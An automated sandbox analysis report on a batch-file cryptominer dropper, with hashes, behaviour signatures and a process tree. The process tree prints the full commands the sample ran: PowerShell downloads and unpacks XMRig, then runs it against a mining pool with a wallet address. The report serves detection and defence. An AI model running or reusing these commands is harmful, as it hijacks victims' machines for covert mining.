Analysis

  • max time kernel
    1792s
  • max time network
    1798s
  • platform
    windows10-1703_x64
  • resource
    win10-20231215-en
  • resource tags

    arch:x64arch:x86image:win10-20231215-enlocale:en-usos:windows10-1703-x64system
  • submitted
    22-12-2023 08:52

General

  • Target

    tesy.bat

  • Size

    608B

  • MD5

    727c8da0478af118c957ae60f7161cab

  • SHA1

    cf18105b8659e93bbd2824fa35ef1bae7b395301

  • SHA256

    97db0437ecb6f401a4674dceead7b17a885241f2ab2495652863d2240f3bedab

  • SHA512

    d9cbb46d5f3caa92d3b44301bc96ccfd5552f2ab3e5460362db3b59d23e0a5c34bf78e9387009092ac5c92b4423c03789aa1fc824a4e1388a1363daa6ab54e01

Score
10/10

Malware Config

Extracted

Language
ps1
Deobfuscated
URLs
exe.dropper

https://github.com/xmrig/xmrig/releases/download/v6.21.0/xmrig-6.21.0-gcc-win64.zip

Signatures

  • XMRig Miner payload 64 IoCs
  • xmrig

    XMRig is a high performance, open source, cross platform CPU/GPU miner.

  • Blocklisted process makes network request 2 IoCs
  • Executes dropped EXE 1 IoCs
  • Suspicious behavior: EnumeratesProcesses 6 IoCs
  • Suspicious behavior: LoadsDriver 1 IoCs
  • Suspicious use of AdjustPrivilegeToken 4 IoCs
  • Suspicious use of FindShellTrayWindow 1 IoCs
  • Suspicious use of WriteProcessMemory 6 IoCs

Processes

  • C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\tesy.bat"
    1⤵
    • Suspicious use of WriteProcessMemory
    PID:1620
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell -command "(New-Object System.Net.WebClient).DownloadFile('https://github.com/xmrig/xmrig/releases/download/v6.21.0/xmrig-6.21.0-gcc-win64.zip', 'xmrig-6.21.0-gcc-win64.zip')"
      2⤵
      • Blocklisted process makes network request
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      PID:2464
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell -command "Expand-Archive -Path 'xmrig-6.21.0-gcc-win64.zip' -DestinationPath '.'"
      2⤵
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      PID:3816
    • C:\Users\Admin\AppData\Local\Temp\xmrig-6.21.0\xmrig.exe
      xmrig.exe --url pool.hashvault.pro:80 --user 42BWpXvTvDbHpMyHrnjqBA5bqjnB9z65fGakJV9dQuHSS7pRkpoyx5T4vE4pUjJxPoPrLCAerjoKwdMTQKZNNEqo6zoLmPJ --pass tria2 --donate-level 1 --tls --tls-fingerprint 420c7850e09b7c0bdcf748a7da9eb3647daf8515718f36d9ccfdd6b9ff834b14
      2⤵
      • Executes dropped EXE
      • Suspicious use of AdjustPrivilegeToken
      • Suspicious use of FindShellTrayWindow
      PID:1672

Network

MITRE ATT&CK Matrix

Replay Monitor

Loading Replay Monitor...

Downloads

  • C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log

    Filesize

    3KB

    MD5

    56efdb5a0f10b5eece165de4f8c9d799

    SHA1

    fa5de7ca343b018c3bfeab692545eb544c244e16

    SHA256

    6c4e3fefc4faa1876a72c0964373c5fa08d3ab074eec7b1313b3e8410b9cb108

    SHA512

    91e50779bbae7013c492ea48211d6b181175bfed38bf4b451925d5812e887c555528502316bbd4c4ab1f21693d77b700c44786429f88f60f7d92f21e46ea5ddc

  • C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

    Filesize

    1KB

    MD5

    f6d006f8c4cc21eba7d420c8f678d9cc

    SHA1

    79d33d77781e736a4287ed6c8f9d91ea7476dc3c

    SHA256

    f09eea0acdf4013875e73de4f74c6f687cbb112bfacbc99cdc43b96ca2595d99

    SHA512

    7bb71885d6387d6cb093ccd4be8056486064ae03d1128d4609bffdf7c68998faff43f76ac78a37a15324c49417f0aaa4d1751f89852bda80f327580b85720249

  • C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_4ofpc5u1.f31.ps1

    Filesize

    1B

    MD5

    c4ca4238a0b923820dcc509a6f75849b

    SHA1

    356a192b7913b04c54574d18c28d46e6395428ab

    SHA256

    6b86b273ff34fce19d6b804eff5a3f5747ada4eaa22f1d49c01e52ddb7875b4b

    SHA512

    4dff4ea340f0a823f15d3f4f01ab62eae0e5da579ccb851f8db9dfe84c58b2b37b89903a740e1ee172da793a6e79d560e5f7f9bd058a12a280433ed6fa46510a

  • C:\Users\Admin\AppData\Local\Temp\xmrig-6.21.0-gcc-win64.zip

    Filesize

    3.2MB

    MD5

    4b2275e8df65719009314a0a23a45558

    SHA1

    95fbef4629f6ace3dba90df63a9825e503e3c7eb

    SHA256

    4b8e7ff95e742973fb9c8c38ac68f6a1e692b05415036e1c92ee201b3b0e6699

    SHA512

    afb324ca3377dc8076d739dde9424ece01b32936b61fd92d5897625f296572637c061068a22a45fbd3e9565be9cb6e35b8f5b9f6c13c5f612443c03d1b04a91f

  • C:\Users\Admin\AppData\Local\Temp\xmrig-6.21.0\xmrig.exe

    Filesize

    7.9MB

    MD5

    e2fe87cc2c7dab8ca6516620dccd1381

    SHA1

    f714ec0448325435103519452610cf7aadf8bbba

    SHA256

    d0cf7388253342f43f9b04da27f3da9ee18614539efdc2d9c4a0239af51ddbe4

    SHA512

    8455c47e8470e0e322426bc9b9f3c7e858d803bfc8c5d576d580f88585f550b95043139d69b0750a3e211915e3f5ec7a67e7784dcf8cac6bd8fe51ab7e9cbed6

  • memory/1672-142-0x00007FF713690000-0x00007FF714193000-memory.dmp

    Filesize

    11.0MB

  • memory/1672-133-0x00007FF713690000-0x00007FF714193000-memory.dmp

    Filesize

    11.0MB

  • memory/1672-184-0x00007FF713690000-0x00007FF714193000-memory.dmp

    Filesize

    11.0MB

  • memory/1672-183-0x00007FF713690000-0x00007FF714193000-memory.dmp

    Filesize

    11.0MB

  • memory/1672-182-0x00007FF713690000-0x00007FF714193000-memory.dmp

    Filesize

    11.0MB

  • memory/1672-145-0x00007FF713690000-0x00007FF714193000-memory.dmp

    Filesize

    11.0MB

  • memory/1672-181-0x00007FF713690000-0x00007FF714193000-memory.dmp

    Filesize

    11.0MB

  • memory/1672-180-0x00007FF713690000-0x00007FF714193000-memory.dmp

    Filesize

    11.0MB

  • memory/1672-179-0x00007FF713690000-0x00007FF714193000-memory.dmp

    Filesize

    11.0MB

  • memory/1672-178-0x00007FF713690000-0x00007FF714193000-memory.dmp

    Filesize

    11.0MB

  • memory/1672-177-0x00007FF713690000-0x00007FF714193000-memory.dmp

    Filesize

    11.0MB

  • memory/1672-176-0x00007FF713690000-0x00007FF714193000-memory.dmp

    Filesize

    11.0MB

  • memory/1672-175-0x00007FF713690000-0x00007FF714193000-memory.dmp

    Filesize

    11.0MB

  • memory/1672-116-0x000001CC73190000-0x000001CC731B0000-memory.dmp

    Filesize

    128KB

  • memory/1672-117-0x000001CC73300000-0x000001CC73340000-memory.dmp

    Filesize

    256KB

  • memory/1672-118-0x00007FF713690000-0x00007FF714193000-memory.dmp

    Filesize

    11.0MB

  • memory/1672-119-0x000001CC731E0000-0x000001CC73200000-memory.dmp

    Filesize

    128KB

  • memory/1672-120-0x000001CC73340000-0x000001CC73360000-memory.dmp

    Filesize

    128KB

  • memory/1672-121-0x00007FF713690000-0x00007FF714193000-memory.dmp

    Filesize

    11.0MB

  • memory/1672-122-0x00007FF713690000-0x00007FF714193000-memory.dmp

    Filesize

    11.0MB

  • memory/1672-123-0x00007FF713690000-0x00007FF714193000-memory.dmp

    Filesize

    11.0MB

  • memory/1672-124-0x000001CC731E0000-0x000001CC73200000-memory.dmp

    Filesize

    128KB

  • memory/1672-125-0x000001CC73340000-0x000001CC73360000-memory.dmp

    Filesize

    128KB

  • memory/1672-126-0x00007FF713690000-0x00007FF714193000-memory.dmp

    Filesize

    11.0MB

  • memory/1672-127-0x00007FF713690000-0x00007FF714193000-memory.dmp

    Filesize

    11.0MB

  • memory/1672-128-0x00007FF713690000-0x00007FF714193000-memory.dmp

    Filesize

    11.0MB

  • memory/1672-129-0x00007FF713690000-0x00007FF714193000-memory.dmp

    Filesize

    11.0MB

  • memory/1672-130-0x00007FF713690000-0x00007FF714193000-memory.dmp

    Filesize

    11.0MB

  • memory/1672-131-0x00007FF713690000-0x00007FF714193000-memory.dmp

    Filesize

    11.0MB

  • memory/1672-132-0x00007FF713690000-0x00007FF714193000-memory.dmp

    Filesize

    11.0MB

  • memory/1672-144-0x00007FF713690000-0x00007FF714193000-memory.dmp

    Filesize

    11.0MB

  • memory/1672-134-0x00007FF713690000-0x00007FF714193000-memory.dmp

    Filesize

    11.0MB

  • memory/1672-135-0x00007FF713690000-0x00007FF714193000-memory.dmp

    Filesize

    11.0MB

  • memory/1672-136-0x00007FF713690000-0x00007FF714193000-memory.dmp

    Filesize

    11.0MB

  • memory/1672-137-0x00007FF713690000-0x00007FF714193000-memory.dmp

    Filesize

    11.0MB

  • memory/1672-138-0x00007FF713690000-0x00007FF714193000-memory.dmp

    Filesize

    11.0MB

  • memory/1672-139-0x00007FF713690000-0x00007FF714193000-memory.dmp

    Filesize

    11.0MB

  • memory/1672-140-0x00007FF713690000-0x00007FF714193000-memory.dmp

    Filesize

    11.0MB

  • memory/1672-141-0x00007FF713690000-0x00007FF714193000-memory.dmp

    Filesize

    11.0MB

  • memory/1672-174-0x00007FF713690000-0x00007FF714193000-memory.dmp

    Filesize

    11.0MB

  • memory/1672-159-0x00007FF713690000-0x00007FF714193000-memory.dmp

    Filesize

    11.0MB

  • memory/1672-173-0x00007FF713690000-0x00007FF714193000-memory.dmp

    Filesize

    11.0MB

  • memory/1672-172-0x00007FF713690000-0x00007FF714193000-memory.dmp

    Filesize

    11.0MB

  • memory/1672-146-0x00007FF713690000-0x00007FF714193000-memory.dmp

    Filesize

    11.0MB

  • memory/1672-147-0x00007FF713690000-0x00007FF714193000-memory.dmp

    Filesize

    11.0MB

  • memory/1672-148-0x00007FF713690000-0x00007FF714193000-memory.dmp

    Filesize

    11.0MB

  • memory/1672-149-0x00007FF713690000-0x00007FF714193000-memory.dmp

    Filesize

    11.0MB

  • memory/1672-150-0x00007FF713690000-0x00007FF714193000-memory.dmp

    Filesize

    11.0MB

  • memory/1672-151-0x00007FF713690000-0x00007FF714193000-memory.dmp

    Filesize

    11.0MB

  • memory/1672-152-0x00007FF713690000-0x00007FF714193000-memory.dmp

    Filesize

    11.0MB

  • memory/1672-153-0x00007FF713690000-0x00007FF714193000-memory.dmp

    Filesize

    11.0MB

  • memory/1672-154-0x00007FF713690000-0x00007FF714193000-memory.dmp

    Filesize

    11.0MB

  • memory/1672-155-0x00007FF713690000-0x00007FF714193000-memory.dmp

    Filesize

    11.0MB

  • memory/1672-156-0x00007FF713690000-0x00007FF714193000-memory.dmp

    Filesize

    11.0MB

  • memory/1672-157-0x00007FF713690000-0x00007FF714193000-memory.dmp

    Filesize

    11.0MB

  • memory/1672-158-0x00007FF713690000-0x00007FF714193000-memory.dmp

    Filesize

    11.0MB

  • memory/1672-143-0x00007FF713690000-0x00007FF714193000-memory.dmp

    Filesize

    11.0MB

  • memory/1672-160-0x00007FF713690000-0x00007FF714193000-memory.dmp

    Filesize

    11.0MB

  • memory/1672-161-0x00007FF713690000-0x00007FF714193000-memory.dmp

    Filesize

    11.0MB

  • memory/1672-162-0x00007FF713690000-0x00007FF714193000-memory.dmp

    Filesize

    11.0MB

  • memory/1672-163-0x00007FF713690000-0x00007FF714193000-memory.dmp

    Filesize

    11.0MB

  • memory/1672-164-0x00007FF713690000-0x00007FF714193000-memory.dmp

    Filesize

    11.0MB

  • memory/1672-165-0x00007FF713690000-0x00007FF714193000-memory.dmp

    Filesize

    11.0MB

  • memory/1672-166-0x00007FF713690000-0x00007FF714193000-memory.dmp

    Filesize

    11.0MB

  • memory/1672-167-0x00007FF713690000-0x00007FF714193000-memory.dmp

    Filesize

    11.0MB

  • memory/1672-168-0x00007FF713690000-0x00007FF714193000-memory.dmp

    Filesize

    11.0MB

  • memory/1672-169-0x00007FF713690000-0x00007FF714193000-memory.dmp

    Filesize

    11.0MB

  • memory/1672-170-0x00007FF713690000-0x00007FF714193000-memory.dmp

    Filesize

    11.0MB

  • memory/1672-171-0x00007FF713690000-0x00007FF714193000-memory.dmp

    Filesize

    11.0MB

  • memory/2464-30-0x00007FFDE7220000-0x00007FFDE7C0C000-memory.dmp

    Filesize

    9.9MB

  • memory/2464-7-0x00007FFDE7220000-0x00007FFDE7C0C000-memory.dmp

    Filesize

    9.9MB

  • memory/2464-4-0x000001D6F2A20000-0x000001D6F2A42000-memory.dmp

    Filesize

    136KB

  • memory/2464-8-0x000001D6F2A10000-0x000001D6F2A20000-memory.dmp

    Filesize

    64KB

  • memory/2464-9-0x000001D6F2A10000-0x000001D6F2A20000-memory.dmp

    Filesize

    64KB

  • memory/2464-25-0x000001D6F2A10000-0x000001D6F2A20000-memory.dmp

    Filesize

    64KB

  • memory/2464-10-0x000001D6F2BD0000-0x000001D6F2C46000-memory.dmp

    Filesize

    472KB

  • memory/3816-89-0x00000285DB3A0000-0x00000285DB3AA000-memory.dmp

    Filesize

    40KB

  • memory/3816-35-0x00007FFDE7220000-0x00007FFDE7C0C000-memory.dmp

    Filesize

    9.9MB

  • memory/3816-62-0x00000285DB3B0000-0x00000285DB3C0000-memory.dmp

    Filesize

    64KB

  • memory/3816-36-0x00000285DB3B0000-0x00000285DB3C0000-memory.dmp

    Filesize

    64KB

  • memory/3816-76-0x00000285DB400000-0x00000285DB412000-memory.dmp

    Filesize

    72KB

  • memory/3816-38-0x00000285DB3B0000-0x00000285DB3C0000-memory.dmp

    Filesize

    64KB

  • memory/3816-113-0x00007FFDE7220000-0x00007FFDE7C0C000-memory.dmp

    Filesize

    9.9MB